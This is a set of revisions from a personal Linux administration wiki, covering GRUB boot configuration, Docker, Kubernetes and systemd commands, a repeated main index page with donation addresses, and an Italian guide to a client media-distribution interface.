* command that generates and prints out configuration:
grub2-mkconfig
* save configuration
grub2-mkconfig -o /boot/grub/grub.cfg
* regenerate EFI file
mv /boot/efi/EFI/fedora/grub.cfg /tmp/grub.cfg
dnf reinstall grub2-common

* get OS's list of labels
grep ^menuentry /boot/grub2/grub.cfg | cut -d "'" -f2
Fedora
Ubuntu 12.04.2 LTS (12.04)
Gentoo Base System release 2.1
* show actual default entry
grub2-editenv list
saved_entry=Fedora Linux, with Linux 3.6.6-1.fc17.i686.PAE
* alter default entry
grub2-set-default "Gentoo Base System release 2.1"
* check...
grub2-editenv list
saved_entry=Gentoo Base System release 2.1

== Other Operative Systems disappeared ==

From debian 12, an option in grub config will disable the scan for other OS's thus making impossible to boot from them.
how to fix:
* open the config
vi /etc/default/grub
* un-comment or add this line:
GRUB_DISABLE_OS_PROBER=false
* regenerate grub config:
update-grub

= Grub 1.X =

[http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&chap=10 Link a una documentazione...]

==== Installing GRUB in the Master Boot Record ====

* Con ''grub-install''
grub-install /dev/hda
o meglio... '''(se si sta installando il sistema)'''
chroot /mnt/sysimage/
** con la directory boot sta nella /
/sbin/grub-install --root-directory=/boot /dev/md1
** con la directory boot è una partizione
/sbin/grub-install --root-directory=/ /dev/md0

* find grub copies:
grub> find /grub/stage1
* or...
grub> find /boot/grub/stage1

* ''grub'' (/usr/sbin/grub)
grub> device (hd0) /dev/sdb (/dev/hdb for ide)
grub> root (hd0,0) (La partizione di boot, Disco 0 Partizione 0)
grub> setup (hd0) (Installa GRUB nel MBR)
grub> quit (Esci dalla shell GRUB)

==== Immagine sfondo grub ====
1. xpm.gz file
2. 640x480
3. 14 colors
4. copiare in /boot/grub
5. gzip myfile.xpm

==== VGA modes ====
| 640x480 800x600 1024x768 1280x1024
----+-------------------------------------
256 | 0x301 0x303 0x305 0x307
32k | 0x310 0x313 0x316 0x319
64k | 0x311 0x314 0x317 0x31A
16M | 0x312 0x315 0x318 0x31B

Docker

2025-01-19T08:49:21Z

Porcelinux: /* docker */

==docker==
* list loaded images
docker images
* list running containers
docker ps
* list all containers
docker ps -a
* pull debian image from pub repo
docker image pull debian:bookworm
* stop a container
'''data is deleted if volume non persistent!'''
docker container stop

* get container status
docker top

* load an image from file
docker load -i container-name.1.0.0.tar.gz
* push (upload) an image to a private repository
docker login myprivaterepo.intranet.lan
...
docker push myprivaterepo.intranet.lan/project/package-name:tag
* run a container with a port map
docker run -d --name container-name -p 5678:5678 container-name:1.0.0
* get container logs
docker logs <container ID>

* execute a command in the container and print output to stdout
docker exec <container ID> <command>

=== Permission denided ...sock ===

sudo setfacl --modify user:devuser:rw /var/run/docker.sock

== Kubernetes ==
Details about all nodes:
kubectl describe nodes
Start container testing parameters
kubectl apply --validate -f mypod.yaml
Save pod configuration to file
kubectl get pods/mypod -o yaml > mypod.yaml
Show running pods IP address
kubectl get pods -l app=<app name> -o go-template='{{range .items}}{{.status.podIP}}{{"\n"}}{{end}}'
Exposes the service to the net
kubectl expose deployment <app name> --port=80 --target-port=9376
Get the services for an app
kubectl get svc <app name>

Systemd

2025-01-18T10:07:07Z

Porcelinux:

== And NetworkManager ==

=== Systemd ===
$ systemd-analyze blame
4.931s NetworkManager-wait-online.service
2.093s mysqld.service
1.262s plymouth-quit-wait.service
590ms akmods-shutdown.service
493ms akmods.service
468ms mnt-bk03.mount
353ms home.mount
313ms httpd.service

systemd-analyze
Startup finished in 1.022s (kernel) + 333ms (initrd) + 3min 141ms (userspace) = 3min 1.497s

# systemd-analyze plot > bootchart.svg

=== NetworkManager ===
ip=10.10.1.10::10.10.1.1:255.255.0.0:hostname:ens2.100:none:8.8.8.8
vlan=ens2.100:ens2

ip=192.168.0.79::192.168.0.1:255.255.255.0:gngwrk1:enp0s25.20:none:8.8.8.8
vlan=enp0s25.20:enp0s25

Configuring a Vlan on a Bond (DHCP)
Dracut Kernel Arguments
Template
ip=${bondname}.${vlanid}:dhcp
bond=${bondname}:${subnic1},${subnic2}:mode=active-backup,miimon=100
vlan=${bondname}.${vlanid}:${bondname}
Rendered
ip=bond0.100:dhcp
bond=bond0:ens2,ens3:mode=active-backup,miimon=100
vlan=bond0.100:bond0

Main Page

2024-12-22T10:58:03Z

Porcelinux: /* Internet & Network Applications */

'''Welcome to Alessandro's wiki'''

''I've populated this page along the path I'm following through the information technology world.
Beware! some information may be really outdated, started in 2006.

''In the twists and turns of this server's memory, where my thoughts are stored and folded in, you could find frightful ones.''

donate, you can use the following Bitcoin or Litecoin addresses. Thank you

BTC
1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk
LTC
LYbzJsCVmTynaK63CNMne89xKj961jFbWc

[[Alessandro's_Wiki:About]]

== System Administration Topics ==
{| border="0" align="center" width="100%"
|+
|width="10%"|
{|
=== Internet & Network Applications ===
*; CMS, wiki, etc.
** [[Trac]]
** [[mediawiki]]
** [[Gallery]] ''online photo archive system''
** [[Plone]]
** [[Joomla]]
** [[Drupal]]
** [[Wordpress]]
** [[Owncloud]]

*; Daemons
** [[Mail Systems]]
** [[mnogo]]
** [[supervisord]]
** [[Apache]]
** [[lighttpd]]
** [[Nginx]]
** [[hotsmtpd]] ''hotmail in Evolution''
** [[Ganglia]]
** [[MySQL]]
** [[PostgreSQL]]
** [[Oracle]]
** [[NetBoot]]
** [[Insync]] ''GoogleDrive(R) "emulator"''
*; Protocols
** [[SNMP]]
** [[NFS]] ''linux Networks''
** [[Samba]] ''windows networks''
** [[AFP]] ''Apple networks''
** [[rsync]]
** [[SSH]] ''Secure SHell''
** [[CVS]]
** [[Subversion]]
** [[Git]]
** [[FTP]]
** [[OpenVPN]] ''Virtual Private Network''
** [[wget]] ''HTTP from terminal''
** [[httrack]] ''freeze a website''
** [[RealTimeWebContent]]

|}
|width="10%"|
{|

=== Pure System ===
* [[CPU]] , [[CrossCompiling]]
* '''x86_64'''
** [[Fedora]] ''RedHat, ScientificLinux, CentOS''
** [[Gentoo]]
*** [[make.conf|/etc/make.conf]]
*** [[USE_flags]] , [[webapp-config]]
* [[KDE (intorno)|KDE]] , [[Click destro KDE]]
* [[Gnome]]
* [[ Qemu ]]
* [[BOOT|Boot !]] , [[GRUB|GRUB (Gestore Boot)]]
* [[VI|VI (Editor di testo)]]
* [[BASH]]
* [[Xorg]]
* [[PostInstallazioni]]
* [[BIOS]]
* [[processes and threads]]
* [[sudo]]
* [[RemoteConsoles]]
* [[systemd]]

=== Networking Layer ===

* [[Ethernet]]
** [[dhcp]]
** [[Bridging]]
** [[NAT]]
* [[Wireless]]
** [[Schede]]
** [[Wardriving]]
* [[Firewall (iptables)]]
* [[Livello Fisico|Physical Layer]]
* [[IP Protocol]]
* [[router-language]]
|}
|width="10%"|
{|

=== Multimedia ===
* Video
** [[Kodi]]
** [[Resolution Standards]]
** [[VideoCaptureAdapters]]
** [[MPLAYER_MENCODER|mplayer, mencoder & ffmpeg]]
** [[ffserver|ffserver]]
** [[crtmpserver|C++ rtmp Server]]
** [[motion]]
** [[Imagemagick]]
** [[DVDStyler]] (authoring DVD)
** [[PiTiVi]] (montaggio video)
** [[Kino]]
** [[youtube]]
** [[JWplayer]]
** [[DarwinStreamingServer]]
** [[Conversioni Numeriche]]
** [[webcamstudio]]
* Audio
** [[Volumio]]
** [[pulseaudio]]
** [[Amarok]]
** [[ESOUND]]
** [[SOX]]
** [[mpd]] ''Music server''
*; Network / Server
** [[Skype]]
** [[Converter]]
** [[RealMedia]]
** [[red5]]
** [[erlyvideo]]
** [[Beryl Window Manager]]
* Drivers
** [[saa713x]]
** [[touchscreen]]

|}
|width="10%"|
{|

=== Storage, File Systems & Data Recovery ===
* [[FileSystems]]
* [[devices and storage]] ''manage, analyze, etc.''
** [[SCSI]]
** [[Mounting devices]]
** [[crypted disk image]]
* [[RAID]]
* [[LVM]]
* [[Cattive abitudini]]
* [[Backups]]
** [[Bacula]]
* [[Propagazione]]
* [[ISO Managing (ISO9660)]]
* [[DRBD]]

=== Kernel ===
* [[Kernel_boot_parameters|Boot Parameters]]
* [[Configuring|Configuring & compiling]]
* [[Sheduling]]
* [[IO Sheduler]]
* [[mettere alla prova]]
* [[memory]]
* [[entropy]]
* [[clock]]
* [[Docker]]

=== Monitoring & Security ===
* [[lm_sensors]] ''linux hardware sensor layer''
* [[Nagios]] ''advanced sesor-based network monitoring system''
* [[Munin]] ''draws graphs from system sensors''
* [[Ganglia]] ''graphs and host grouping for clusters''
* [[MRTG]] ''rrdtool based snmp-based switch grapher''
** '''''security'''''
* [[Tripwire]]
* [[Supervisord]]
* [[Awstats]]
* [[Observium]]
|}
|}

== Crypto, Cypherpunks and Hippy Brokers ==
{| border="0" align="center" width="100%"
|+
|width="10%"|
{|
=== Crypto world Information ===

News
* https://www.coindesk.com/
* https://cointelegraph.com/

data and graphs
* http://cryptocoin.cc/
* https://coinmarketcap.com/
* https://coincheckup.com/

|}
|width="10%"|
{|

* [[Crypto]] Exchanges and Stuff
* [[Wallets]]
** [[Ethereum]]
'' loosing money is very easy !!!'' if you're not sure, better send it to me...

|}
|width="10%"|
{|

=== Mining World ===

* [[Mining]] ''my notes and mining experiments'' (use with care!!)

|}
|}

== End Users Topics ==

{| width="100%"
|width="50%"|
{|

==== GNU/Linux distos ====

* [[Debian]]
** [[Ubuntu]]
** [[UbuntuStudio]]
* [[Scientific Linux]]
** [[RedHat Enterprise Linux]]
** [[CentOS]]

[[TabellaCaratteristicheDistribuzioni]]

[http://www.gentoo.org/][[Image:Gentoo.png]]

[http://www.ubuntu.org/] [[Image:ubuntuLogoSmall.png]]

[http://www.kubuntu.org/] [[Image:kubuntuLogoSmall.jpg]]

[https://www.scientificlinux.org][[Image:scientificlinux.gif]]

[http://fedoraproject.org/][[Image:fedoraLogoSmall.jpg]]

=== Programming/Scripting ===
* [[code analysis]] ''code analyzing software''
* [[BASH]]
* [[UML]]
* [[CSS]]
* [[PHP]]
* [[Javascript]]
* [[C]]
* [[SQL]]
* [[Curl]]
* [[Perl]]

|}
|width="50%"|
{|

===== Audio/Video =====
*'''[[Formati di Compressione]]'''
*'''[[KDEactions|Click destro in KDE]]''' ''right-click in KDE , how/t to implement''
*'''[[MPLAYER_MENCODER|Mplayer & Mencoder]]''' ''direct encoding commands from terminal (mplayer mencoder ffmpeg)''
*'''[[MIME Types]]''' ''associare tipi di file a programmi''
*'''[[Kino]]''' ''simple editing software (very simple for end user) ''
*'''[[Audacity]]''' ''Editing audio''
*'''[[skype]]''' ''Skype & VoIP''
*'''[[Kdenlive]]''' ''Montaggio multitraccia per linux''
*'''[[MediaSync]]''' ''framework di gestione materiale multimediale ''
*'''[http://videoteca.webhop.net/ MediaCutter ''(beta)'']'''

===== Some Random Stuff =====
*'''[[converter|CAAP]]''' ''(Conversioni Automatizzate Asincrone in Parallelo) / batch system '''PBS''' ''
*'''[[DB|i database multimediali]]'''
*'''[[Kickstart]]''' ''Installazioni Automatizzate ''
*'''[[Procedimenti]]''' ''Raccolta di procedimenti''
*'''[[OpenVPN]]'''
*'''[[Safe Browsing]]''' ''collection of common or more sophisticated safe browsing tips''
*; Apple
**'''[[Mac]]''' ''OSx''
** '''[[MacDevices]]''' ''using Apple devices on linux''
**'''[[maclinux]]''' ''Linux su MacBook''
**'''[[once upon a time, there was an apple]]'''
|}
|}

== The World Beyond IT==
{| border="0" align="center" width="100%"
|width="30%"|
{|
=== Robotics / Electronics ===
* [[Propulsori Stepper]]
* [[Porta Parallela]]
* [[Micro Controllori PIC]]
* [[Arduino]]

=== Links: ===

* http://foto.alessandrodelgallo.org my photo gallery
* http://videoteeka.com my video gallery software ''(outdated)''
* http://www.youtube.com/user/porcelinux old YouTube channel

* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]
* [http://www.mediawiki.org/wiki/Help:Formatting MediaWiki Help Formatting]

|}
|width="30%"|
{|

=== Languages ===
* [[Italiano]]
** a wonderful dictionary http://www.wordreference.com/
** dizionario etimologico: http://www.etimo.it/
** dizionario italiano http://www.demauro.it/
* [[Spangolo]]
* [[English]]
* [[Olandese]]
** [[living in the nederlands|Living in the Netherlands]]
* [[Deutsch]]
** [[Living in Germany]]

*; [[Documicate]] what is [[documication]] ?

* [[NienteNadaNothing]]
|}
|}

If you liked this wiki and you want to donate, you can use the following Bitcoin or Litecoin addresses. Thank you
*;BTC : 1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk
*;LTC : LYbzJsCVmTynaK63CNMne89xKj961jFbWc

Members GUI

2024-12-22T10:23:38Z

Porcelinux: /* Interfaccia clienti */

== Interfaccia clienti ==

Si accede da xx
La pagina e i servizi sottostanti sono stati sviluppati per dare la possibilità ai redattori
di pubblicare dei servizi multimediali a clienti diversi.

=== Lato Operatore ===

==== Gestione da interfaccia Web ====
L'interfaccia di controllo del sito web, gestisce l'archivio del materiale
e permette di popolare le code dei clienti

===== Assegnazione =====

# Navigare alla pagina '''''Lista Disponibili'''''
# Trovare la clip archiviata e cliccare '''''modifica''''' alla destra della tabella:
# Nella pagina di modifica, spostarsi nella parte ''Utenti/Clienti'' dove si trova
la lista degli utenti.
# Selezionare un Cliente e cliccare '''''"submit"''''' per confermare.

===== Revoca =====
Seguire l' ''Assegnazione'' dal punto 4
# Nella sezione ''Utenti/Clienti'' si trova un campo '''"Assegnato a:"'''
dove è riportata la lista di utenti che attualmente hanno la clip assegnata
# Per rimuovere un utente, cliccare su elimina al suo fianco.

==== Gestione con click destro ====

lo script videoclick.sh è stato esteso per gestire le code e le liste di materiali per i clienti

===== Assegnazione =====
'''Passo passo...'''
# Localizzare il file archiviato: ''immagine, consolidato o audio''
# Cliccarci col pulsante destro
# Navigare in ''"azioni"'' -> ''"Gestione Clienti"'' -> ''"Assegna la * ad un cliente"''
# Attendere il menu che mostra i Clienti disponibili (apparirà un terminale, Non chiuderlo!)
# Scegliere il Cliente o i clienti
# Attendere la chiusura del terminale aperto all'inizio

===== Revoca =====
Seguire l' ''Assegnazione'' al punto 2
# Navigare in ''"azioni"'' -> ''"Gestione Clienti"'' -> ''"Revoca la * ad un cliente"''
# Attendere il menu che mostra i Clienti disponibili
# Scegliere il Cliente o i clienti
# Dare la conferma che ci viene chiesta dal programma
# Attendere la chiusura del terminale aperto all'inizio

==== Controllo Stato ====

# Aprire la pagina xx ad autenticarsi.
# Controllare la presenza dei materiali inviati nella lista dei clienti scelti (controllarli uno per uno)
# Controllare lo stato (se uploading, fallito, o completato)
## Se dovesse esserci qualche errore, contattare root
# l'avanzamento dell'upload sarà riportato in KB trasferiti, con un aggiornamenti ogni 15 secondi
# Attendere il completamento e dare, se necessario, la conferma al cliente.

=== Lato Cliente ===

Si accede da xx
è necessaria la e poi l'attivazione, da parte dell'aministratore, di un account.
Ottenuto l'account, accedendo alla pagina si avrà a disposizione
vari formati per ogni materiale richiesto ed una anteprima in bassa qualità.

* Per vedere una clip nel lettore integrato, cliccare sul nome o sull'icona del video.
* Per scaricare un file, cliccare col il bottone destro del mouse sul nome del formato
e scegliere l'opzione "salva destinazione con nome.." o "salva collegamento con nome.." , dipende dal browser in uso.

=== Gruppi di utenti ===

la gerarchia degli utenti è la seguente:
{|cellpadding="5" cellspacing="0" border="0" width="700"
| '''id Gruppo'''|| '''ruolo'''|| '''Proprietà'''
|-border="1"
| '''1'''||''Utente Pubblico del sito'' ||'''Non può accedere alla pagina'''
|-
| '''2'''||''Redattore'' ||'''Accede ai contenuti di tutti i clienti e può gestirli'''
|-
| '''3'''||''Amministratore'' ||'''Gestice contenuti e clienti'''
|-
| '''4'''||''Cliente'' ||'''Accede ai contenuti a lui assegnati'''
|-
|}

=== Pulizia materiale Revocato ===
* Comando da eseguirsi su vs01 o il server web remoto
members_garbage.sh

Main Page

2024-12-22T10:19:40Z

Porcelinux: /* Monitoring & Security */

'''Welcome to Alessandro's wiki'''

''I've populated this page along the path I'm following through the information technology world.
Beware! some information may be really outdated, started in 2006.

''In the twists and turns of this server's memory, where my thoughts are stored and folded in, you could find frightful ones.''

donate, you can use the following Bitcoin or Litecoin addresses. Thank you

BTC
1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk
LTC
LYbzJsCVmTynaK63CNMne89xKj961jFbWc

[[Alessandro's_Wiki:About]]

== System Administration Topics ==
{| border="0" align="center" width="100%"
|+
|width="10%"|
{|
=== Internet & Network Applications ===
*; CMS, wiki, etc.
** [[Trac]]
** [[mediawiki]]
** [[Gallery]] ''online photo archive system''
** [[Plone]]
** [[Joomla]]
** [[Drupal]]
*; Daemons
** [[Mail Systems]]
** [[mnogo]]
** [[supervisord]]
** [[Apache]]
** [[lighttpd]]
** [[Nginx]]
** [[hotsmtpd]] ''hotmail in Evolution''
** [[Ganglia]]
** [[MySQL]]
** [[PostgreSQL]]
** [[Oracle]]
** [[NetBoot]]
** [[Insync]] ''GoogleDrive(R) "emulator"''
*; Protocols
** [[SNMP]]
** [[NFS]] ''linux Networks''
** [[Samba]] ''windows networks''
** [[AFP]] ''Apple networks''
** [[rsync]]
** [[SSH]] ''Secure SHell''
** [[CVS]]
** [[Subversion]]
** [[Git]]
** [[FTP]]
** [[OpenVPN]] ''Virtual Private Network''
** [[wget]] ''HTTP from terminal''
** [[httrack]] ''freeze a website''
** [[RealTimeWebContent]]

|}
|width="10%"|
{|

=== Pure System ===
* [[CPU]] , [[CrossCompiling]]
* '''x86_64'''
** [[Fedora]] ''RedHat, ScientificLinux, CentOS''
** [[Gentoo]]
*** [[make.conf|/etc/make.conf]]
*** [[USE_flags]] , [[webapp-config]]
* [[KDE (intorno)|KDE]] , [[Click destro KDE]]
* [[Gnome]]
* [[ Qemu ]]
* [[BOOT|Boot !]] , [[GRUB|GRUB (Gestore Boot)]]
* [[VI|VI (Editor di testo)]]
* [[BASH]]
* [[Xorg]]
* [[PostInstallazioni]]
* [[BIOS]]
* [[processes and threads]]
* [[sudo]]
* [[RemoteConsoles]]
* [[systemd]]

=== Networking Layer ===

* [[Ethernet]]
** [[dhcp]]
** [[Bridging]]
** [[NAT]]
* [[Wireless]]
** [[Schede]]
** [[Wardriving]]
* [[Firewall (iptables)]]
* [[Livello Fisico|Physical Layer]]
* [[IP Protocol]]
* [[router-language]]
|}
|width="10%"|
{|

=== Multimedia ===
* Video
** [[Kodi]]
** [[Resolution Standards]]
** [[VideoCaptureAdapters]]
** [[MPLAYER_MENCODER|mplayer, mencoder & ffmpeg]]
** [[ffserver|ffserver]]
** [[crtmpserver|C++ rtmp Server]]
** [[motion]]
** [[Imagemagick]]
** [[DVDStyler]] (authoring DVD)
** [[PiTiVi]] (montaggio video)
** [[Kino]]
** [[youtube]]
** [[JWplayer]]
** [[DarwinStreamingServer]]
** [[Conversioni Numeriche]]
** [[webcamstudio]]
* Audio
** [[Volumio]]
** [[pulseaudio]]
** [[Amarok]]
** [[ESOUND]]
** [[SOX]]
** [[mpd]] ''Music server''
*; Network / Server
** [[Skype]]
** [[Converter]]
** [[RealMedia]]
** [[red5]]
** [[erlyvideo]]
** [[Beryl Window Manager]]
* Drivers
** [[saa713x]]
** [[touchscreen]]

|}
|width="10%"|
{|

=== Storage, File Systems & Data Recovery ===
* [[FileSystems]]
* [[devices and storage]] ''manage, analyze, etc.''
** [[SCSI]]
** [[Mounting devices]]
** [[crypted disk image]]
* [[RAID]]
* [[LVM]]
* [[Cattive abitudini]]
* [[Backups]]
** [[Bacula]]
* [[Propagazione]]
* [[ISO Managing (ISO9660)]]
* [[DRBD]]

=== Kernel ===
* [[Kernel_boot_parameters|Boot Parameters]]
* [[Configuring|Configuring & compiling]]
* [[Sheduling]]
* [[IO Sheduler]]
* [[mettere alla prova]]
* [[memory]]
* [[entropy]]
* [[clock]]
* [[Docker]]

=== Monitoring & Security ===
* [[lm_sensors]] ''linux hardware sensor layer''
* [[Nagios]] ''advanced sesor-based network monitoring system''
* [[Munin]] ''draws graphs from system sensors''
* [[Ganglia]] ''graphs and host grouping for clusters''
* [[MRTG]] ''rrdtool based snmp-based switch grapher''
** '''''security'''''
* [[Tripwire]]
* [[Supervisord]]
* [[Awstats]]
* [[Observium]]
|}
|}

== Crypto, Cypherpunks and Hippy Brokers ==
{| border="0" align="center" width="100%"
|+
|width="10%"|
{|
=== Crypto world Information ===

News
* https://www.coindesk.com/
* https://cointelegraph.com/

data and graphs
* http://cryptocoin.cc/
* https://coinmarketcap.com/
* https://coincheckup.com/

|}
|width="10%"|
{|

* [[Crypto]] Exchanges and Stuff
* [[Wallets]]
** [[Ethereum]]
'' loosing money is very easy !!!'' if you're not sure, better send it to me...

|}
|width="10%"|
{|

=== Mining World ===

* [[Mining]] ''my notes and mining experiments'' (use with care!!)

|}
|}

== End Users Topics ==

{| width="100%"
|width="50%"|
{|

==== GNU/Linux distos ====

* [[Debian]]
** [[Ubuntu]]
** [[UbuntuStudio]]
* [[Scientific Linux]]
** [[RedHat Enterprise Linux]]
** [[CentOS]]

[[TabellaCaratteristicheDistribuzioni]]

[http://www.gentoo.org/][[Image:Gentoo.png]]

[http://www.ubuntu.org/] [[Image:ubuntuLogoSmall.png]]

[http://www.kubuntu.org/] [[Image:kubuntuLogoSmall.jpg]]

[https://www.scientificlinux.org][[Image:scientificlinux.gif]]

[http://fedoraproject.org/][[Image:fedoraLogoSmall.jpg]]

=== Programming/Scripting ===
* [[code analysis]] ''code analyzing software''
* [[BASH]]
* [[UML]]
* [[CSS]]
* [[PHP]]
* [[Javascript]]
* [[C]]
* [[SQL]]
* [[Curl]]
* [[Perl]]

|}
|width="50%"|
{|

===== Audio/Video =====
*'''[[Formati di Compressione]]'''
*'''[[KDEactions|Click destro in KDE]]''' ''right-click in KDE , how/t to implement''
*'''[[MPLAYER_MENCODER|Mplayer & Mencoder]]''' ''direct encoding commands from terminal (mplayer mencoder ffmpeg)''
*'''[[MIME Types]]''' ''associare tipi di file a programmi''
*'''[[Kino]]''' ''simple editing software (very simple for end user) ''
*'''[[Audacity]]''' ''Editing audio''
*'''[[skype]]''' ''Skype & VoIP''
*'''[[Kdenlive]]''' ''Montaggio multitraccia per linux''
*'''[[MediaSync]]''' ''framework di gestione materiale multimediale ''
*'''[http://videoteca.webhop.net/ MediaCutter ''(beta)'']'''

===== Some Random Stuff =====
*'''[[converter|CAAP]]''' ''(Conversioni Automatizzate Asincrone in Parallelo) / batch system '''PBS''' ''
*'''[[DB|i database multimediali]]'''
*'''[[Kickstart]]''' ''Installazioni Automatizzate ''
*'''[[Procedimenti]]''' ''Raccolta di procedimenti''
*'''[[OpenVPN]]'''
*'''[[Safe Browsing]]''' ''collection of common or more sophisticated safe browsing tips''
*; Apple
**'''[[Mac]]''' ''OSx''
** '''[[MacDevices]]''' ''using Apple devices on linux''
**'''[[maclinux]]''' ''Linux su MacBook''
**'''[[once upon a time, there was an apple]]'''
|}
|}

== The World Beyond IT==
{| border="0" align="center" width="100%"
|width="30%"|
{|
=== Robotics / Electronics ===
* [[Propulsori Stepper]]
* [[Porta Parallela]]
* [[Micro Controllori PIC]]
* [[Arduino]]

=== Links: ===

* http://foto.alessandrodelgallo.org my photo gallery
* http://videoteeka.com my video gallery software ''(outdated)''
* http://www.youtube.com/user/porcelinux old YouTube channel

* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]
* [http://www.mediawiki.org/wiki/Help:Formatting MediaWiki Help Formatting]

|}
|width="30%"|
{|

=== Languages ===
* [[Italiano]]
** a wonderful dictionary http://www.wordreference.com/
** dizionario etimologico: http://www.etimo.it/
** dizionario italiano http://www.demauro.it/
* [[Spangolo]]
* [[English]]
* [[Olandese]]
** [[living in the nederlands|Living in the Netherlands]]
* [[Deutsch]]
** [[Living in Germany]]

*; [[Documicate]] what is [[documication]] ?

* [[NienteNadaNothing]]
|}
|}

If you liked this wiki and you want to donate, you can use the following Bitcoin or Litecoin addresses. Thank you
*;BTC : 1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk
*;LTC : LYbzJsCVmTynaK63CNMne89xKj961jFbWc

Main Page

2024-12-22T01:24:56Z

Porcelinux: /* Robotics / Electtronic */

'''Welcome to Alessandro's wiki'''

''I've populated this page along the path I'm following through the information technology world.
Beware! some information may be really outdated, started in 2006.

''In the twists and turns of this server's memory, where my thoughts are stored and folded in, you could find frightful ones.''

donate, you can use the following Bitcoin or Litecoin addresses. Thank you

BTC
1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk
LTC
LYbzJsCVmTynaK63CNMne89xKj961jFbWc

[[Alessandro's_Wiki:About]]

== System Administration Topics ==
{| border="0" align="center" width="100%"
|+
|width="10%"|
{|
=== Internet & Network Applications ===
*; CMS, wiki, etc.
** [[Trac]]
** [[mediawiki]]
** [[Gallery]] ''online photo archive system''
** [[Plone]]
** [[Joomla]]
** [[Drupal]]
*; Daemons
** [[Mail Systems]]
** [[mnogo]]
** [[supervisord]]
** [[Apache]]
** [[lighttpd]]
** [[Nginx]]
** [[hotsmtpd]] ''hotmail in Evolution''
** [[Ganglia]]
** [[MySQL]]
** [[PostgreSQL]]
** [[Oracle]]
** [[NetBoot]]
** [[Insync]] ''GoogleDrive(R) "emulator"''
*; Protocols
** [[SNMP]]
** [[NFS]] ''linux Networks''
** [[Samba]] ''windows networks''
** [[AFP]] ''Apple networks''
** [[rsync]]
** [[SSH]] ''Secure SHell''
** [[CVS]]
** [[Subversion]]
** [[Git]]
** [[FTP]]
** [[OpenVPN]] ''Virtual Private Network''
** [[wget]] ''HTTP from terminal''
** [[httrack]] ''freeze a website''
** [[RealTimeWebContent]]

|}
|width="10%"|
{|

=== Pure System ===
* [[CPU]] , [[CrossCompiling]]
* '''x86_64'''
** [[Fedora]] ''RedHat, ScientificLinux, CentOS''
** [[Gentoo]]
*** [[make.conf|/etc/make.conf]]
*** [[USE_flags]] , [[webapp-config]]
* [[KDE (intorno)|KDE]] , [[Click destro KDE]]
* [[Gnome]]
* [[ Qemu ]]
* [[BOOT|Boot !]] , [[GRUB|GRUB (Gestore Boot)]]
* [[VI|VI (Editor di testo)]]
* [[BASH]]
* [[Xorg]]
* [[PostInstallazioni]]
* [[BIOS]]
* [[processes and threads]]
* [[sudo]]
* [[RemoteConsoles]]
* [[systemd]]

=== Networking Layer ===

* [[Ethernet]]
** [[dhcp]]
** [[Bridging]]
** [[NAT]]
* [[Wireless]]
** [[Schede]]
** [[Wardriving]]
* [[Firewall (iptables)]]
* [[Livello Fisico|Physical Layer]]
* [[IP Protocol]]
* [[router-language]]
|}
|width="10%"|
{|

=== Multimedia ===
* Video
** [[Kodi]]
** [[Resolution Standards]]
** [[VideoCaptureAdapters]]
** [[MPLAYER_MENCODER|mplayer, mencoder & ffmpeg]]
** [[ffserver|ffserver]]
** [[crtmpserver|C++ rtmp Server]]
** [[motion]]
** [[Imagemagick]]
** [[DVDStyler]] (authoring DVD)
** [[PiTiVi]] (montaggio video)
** [[Kino]]
** [[youtube]]
** [[JWplayer]]
** [[DarwinStreamingServer]]
** [[Conversioni Numeriche]]
** [[webcamstudio]]
* Audio
** [[Volumio]]
** [[pulseaudio]]
** [[Amarok]]
** [[ESOUND]]
** [[SOX]]
** [[mpd]] ''Music server''
*; Network / Server
** [[Skype]]
** [[Converter]]
** [[RealMedia]]
** [[red5]]
** [[erlyvideo]]
** [[Beryl Window Manager]]
* Drivers
** [[saa713x]]
** [[touchscreen]]

|}
|width="10%"|
{|

=== Storage, File Systems & Data Recovery ===
* [[FileSystems]]
* [[devices and storage]] ''manage, analyze, etc.''
** [[SCSI]]
** [[Mounting devices]]
** [[crypted disk image]]
* [[RAID]]
* [[LVM]]
* [[Cattive abitudini]]
* [[Backups]]
** [[Bacula]]
* [[Propagazione]]
* [[ISO Managing (ISO9660)]]
* [[DRBD]]

=== Kernel ===
* [[Kernel_boot_parameters|Boot Parameters]]
* [[Configuring|Configuring & compiling]]
* [[Sheduling]]
* [[IO Sheduler]]
* [[mettere alla prova]]
* [[memory]]
* [[entropy]]
* [[clock]]
* [[Docker]]

=== Monitoring & Security ===
* [[lm_sensors]] ''linux hardware sensor layer''
* [[Nagios]] ''advanced sesor-based network monitoring system''
* [[Munin]] ''draws graphs from system sensors''
* [[Ganglia]] ''graphs and host grouping for clusters''
* [[MRTG]] ''rrdtool based snmp-based switch grapher''
** '''''security'''''
* [[Tripwire]]
* [[Supervisord]]

|}
|}

== Crypto, Cypherpunks and Hippy Brokers ==
{| border="0" align="center" width="100%"
|+
|width="10%"|
{|
=== Crypto world Information ===

News
* https://www.coindesk.com/
* https://cointelegraph.com/

data and graphs
* http://cryptocoin.cc/
* https://coinmarketcap.com/
* https://coincheckup.com/

|}
|width="10%"|
{|

* [[Crypto]] Exchanges and Stuff
* [[Wallets]]
** [[Ethereum]]
'' loosing money is very easy !!!'' if you're not sure, better send it to me...

|}
|width="10%"|
{|

=== Mining World ===

* [[Mining]] ''my notes and mining experiments'' (use with care!!)

|}
|}

== End Users Topics ==

{| width="100%"
|width="50%"|
{|

==== GNU/Linux distos ====

* [[Debian]]
** [[Ubuntu]]
** [[UbuntuStudio]]
* [[Scientific Linux]]
** [[RedHat Enterprise Linux]]
** [[CentOS]]

[[TabellaCaratteristicheDistribuzioni]]

[http://www.gentoo.org/][[Image:Gentoo.png]]

[http://www.ubuntu.org/] [[Image:ubuntuLogoSmall.png]]

[http://www.kubuntu.org/] [[Image:kubuntuLogoSmall.jpg]]

[https://www.scientificlinux.org][[Image:scientificlinux.gif]]

[http://fedoraproject.org/][[Image:fedoraLogoSmall.jpg]]

=== Programming/Scripting ===
* [[code analysis]] ''code analyzing software''
* [[BASH]]
* [[UML]]
* [[CSS]]
* [[PHP]]
* [[Javascript]]
* [[C]]
* [[SQL]]
* [[Curl]]
* [[Perl]]

|}
|width="50%"|
{|

===== Audio/Video =====
